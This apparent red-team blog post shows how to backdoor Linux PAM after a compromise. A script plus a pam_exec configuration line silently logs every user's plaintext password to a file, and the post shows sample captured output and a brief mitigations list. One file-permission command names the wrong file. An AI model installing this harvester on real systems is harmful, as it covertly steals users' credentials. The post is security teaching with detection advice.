Pluggable Authentication Modules (PAM) on Unix based systems are useful to change logon behavior and enforce authentication via various means.

In “Red Team Strategies” the chapter “Protecting the Pentester” walks the reader through the configuration of a PAM module to get notified in real-time via a pop-up when someone logs on to the machine (e.g. system compromise).

But there are also bad things that can be done with PAM (especially post-exploitation) and this is what this post is about.

This post discusses a living-off-the-land PAM tactic that grabs passwords of logons, and we also discuss detection techniques.

Let’s get going.

Assume that during a red team exercise a Linux host was compromised.

Creation of the toomanysecrets.sh script

First, we create a bash script that will be invoked whenever a new authentication occurs.

#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log

The variables are PAM specific and will become available via the pam_exec.so module.

Here is the meaning of the variables:

• $PAM_USER: The username that was entered.
• $PAM_RHOST: The remote host (typically the IP Address)
• $(cat -): This reads stdin, and will contain the password that the script grabs
• The results are piped into a log file at /var/log/toomanysecrets.log

To prevent all users from reading the file consider pre-creating it and running chmod, e.g.:

sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh

Now let’s plug this script into the PAM pipeline.

Updating the PAM configuration file common-auth

Next, the PAM configuration file needs to be updated the pam_exec module will be used to invoke the script.

There are various config files located in /etc/pam.d/, and we pick common-auth.

sudo nano /etc/pam.d/common-auth

On the very bottom of the file, add the following authentication module:

auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh

The options have the following meaning:

• optional: Authenticaiton shouldn’t fail if there is an error (it’s not a required step)
• pam_exec.so: This is the living off the land PAM module that can invoke arbitrary scripts
• expose_authtok: This is the trick that allows to read the password via stdin
• quiet: Don’t show any errors to the user (if something doesn’t work)
• The last argument is the shell script that was created previously

Finally, make the file executable:

sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Logon and be surprised

Now, let’s try this out and ssh from another machine, or login locally.

And then look at the log file:

$ sudo cat /var/log/toomanysecrets.log
 Sun Jun 26 23:36:37 PDT 2022 tom, Trustno1!, From: 192.168.1.149
 Sun Jun 26 23:37:53 PDT 2022 tom, Trustno1!, From:
 Sun Jun 26 23:39:12 PDT 2022 tom, Trustno1!, From: 192.168.1.149

Pretty neat, and tricky to catch.

Mitigations

• Test EDR to catch modifications in PAM configurations (also binary patching or entirely replacing/backdooring existing ones)
• Review the PAM modules and there configuration in your environments
• Do a purple team exercise that focuses on PAM modules and related configuration files

Conclusions

PAM modules are powerful, they can be used to lock machines down add MFA to SSH sessions or notify the user when logons occur. However, the can also be misused post-exploitation by an adversary to do a variety of things, including as shown in this post to grab credentials of users.

References

• pam_exec